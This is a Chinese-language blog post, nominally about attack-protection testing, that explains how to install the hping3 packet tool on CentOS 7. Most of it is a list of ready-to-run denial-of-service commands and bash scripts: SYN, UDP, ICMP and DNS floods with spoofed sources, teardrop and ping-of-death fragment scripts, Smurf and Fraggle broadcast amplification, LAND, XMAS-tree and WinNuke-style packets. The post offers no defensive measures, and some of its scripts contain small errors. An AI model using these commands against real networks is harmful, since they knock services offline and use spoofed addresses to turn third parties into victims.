hping3--攻击防护测试

本文包含代码,小程序中查看效果不佳,请切换至web模式。

 

安装

以下步骤用于 在 centos7 下安装 hping3。

安装依赖库
先安装以下依赖库:

yum -y install libpcap
yum -y install libpcap-devel
yum -y install tcl-devel

方式一: yum 安装

yum -y install hping3

方式二:源码安装

# 下载
wget http://www.hping.org/hping3-20051105.tar.gz

# 解压
tar xvf hping3-20051105.tar.gz
cd hping3-20051105

# 配置
./configure

# 编译
make 

# 安装
make install 

使用

端口扫描

通过 eth0 网口,发送 SYN 报文 到 192.168.1.1:80
hping3 -I eth0 -S 192.168.1.1 -p 80

syn flood

默认协议: tcp
默认源端口:随机
默认源地址:攻击机的 ip 地址

# 通过 eth0 网口。发送 SYN 报文 到 192.168.1.1:80。伪造源地址为192.168.1.222,时间间隔 1000us。
hping3 -I eth0 -S 192.168.1.1 -p 80 -a 192.168.1.222 -i u1000

# 通过 eth0 网口。发送 SYN 报文 到 192.168.1.1:80。伪造随机源地址,时间间隔 1000us。
hping3 -I eth0 -S 192.168.1.1 -p 80 --rand-source -i u1000

# 通过 eth0 网口。发送 SYN 报文 到 192.168.1.1:80。伪造随机源地址,洪水攻击。
# 洪水攻击,速率最快的攻击。不会显示数据 和 丢包的统计。
hping3 -I eth0 -S 192.168.1.1 -p 80 --rand-source --flood

udp flood

# 发送 udp 报文 到 192.168.1.1:80。
hping3 --udp 192.168.1.1 -p 80

# 发送 udp 报文 到 192.168.1.1:80。伪造随机源地址,洪水攻击。
hping3 --udp 192.168.1.1 -p 80 --rand-source --flood

icmp flood

# 发送 icmp 报文 到 192.168.1.1。
hping3 --icmp 192.168.1.1

# 发送 icmp 报文 到 192.168.1.1。伪造随机源地址,洪水攻击。
hping3 --icmp 192.168.1.1 --rand-source --flood

dns flood

# 发送 udp 报文 到 192.168.1.1:53。伪造随机源地址,洪水攻击。
hping3 --udp 192.168.1.1 -p 53 --rand-source --flood

teardrop(*)

Teardrop攻击是一种拒绝服务攻击。是基于病态分片数据包的攻击方法。
其工作原理是向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息)。
某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
#!/bin/bash

function teardrop ( )
{
	local victim_ip=$1
	local id_begin=$2
	local id_end=$3

	for((id=${id_begin};id<${id_end};id++))
	do
		hping3 --icmp ${victim_ip} --data 1000 --id ${id} --count 1 --morefrag
		hping3 --icmp ${victim_ip} --data 200 --id ${id} --count 1 --fragoff 400
	done
}

teardrop $*
 

-d --data data size (default is 0)
-N --id id (default random)
-g --fragoff set the fragment offset
-c --count packet count

SMURF攻击(*)

Smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包,来淹没受害主机,
最终导致该网络的所有主机都对此ICMP应答请求做出答复,导致网络阻塞。
更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方崩溃。

hping3 --flood -1 -a 192.168.0.224 255.255.255.255

终端运行:./smurf.sh 192.168.11.221 255.255.255.255 (192.168.11.221 目标ip) 可能出现网络不可达提示,加路由解决
例如 : sudo route add default gw 192.168.11.1

XMAS TREE攻击

TCP所有标志位被设置为1的数据包被称为圣诞树数据包(XMas Tree packet),之所以叫这个名是因为这些标志位就像圣诞树上灯一样全部被点亮。

hping3 -SFRP 192.168.1.1
1
LAND攻击
LAND攻击方式采用了特别构造的TCP SYN数据包(通常用于开启一个新的连接),使目标机器开启一个源地址与目标地址均为自身IP地址的空连接,持续地自我应答,消耗系统资源直至崩溃。这种攻击方法与SYN洪泛攻击并不相同。

#!/bin/bash

function land ( )
{
    local victim_ip=$1
    hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood
}

land $*

WinNuke防御

**hping3 -U -S -p 139 destip**
hping3 -U -S -p 137 destip
hping3 -U -S -p 138 destip

Ping of Death攻击

Ping of Death俗称“死拼”。
其攻击原理是攻击者A向受害者B发送一些尺寸超大的分片ICMP(Ping命令使用的是ICMP报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)。
1. hping3 destip -1 -d 70000 -c 100
2. #!/bin/bash

function ping_of_death ()
{
    local victim_ip=$1
    local id=186
    local data_size=1450
    let icmp_size=${data_size}+8
    hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag 

    for i in $(seq 50)
    do
        let offset=${i}*${icmp_size}
        hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag --fragoff $offset
    done
}

ping_of_death $*

 

Fraggle 攻击

sudo hping3 --udp -p 19 192.168.254.255 -a 192.168.254.11 --flood
--udp:设置发送的数据包为UDP;
-p 19:被攻击的目标端口UDP 19
192.168.254.255:被攻击者所在子网的广播地址;
-a 192.168.254.3:被攻击者的IP;
-c 10:仅发送攻击报文10个;
--fast: alias for -i u10000 (10 packets for second)
--faster:alias for -i u1000 (100 packets for second)
--flood:sent packets as fast as possible. Don't show replies.

 

Land攻击

sudo hping3 -S -p 445 192.168.254.3  -a 192.168.254.3 --flood

 

u=1106236177,632855634&fm=26&gp=0.jpg

Jinming

95后典型金牛座,强迫症。

相关推荐

暂无评论

小程序 小程序
小程序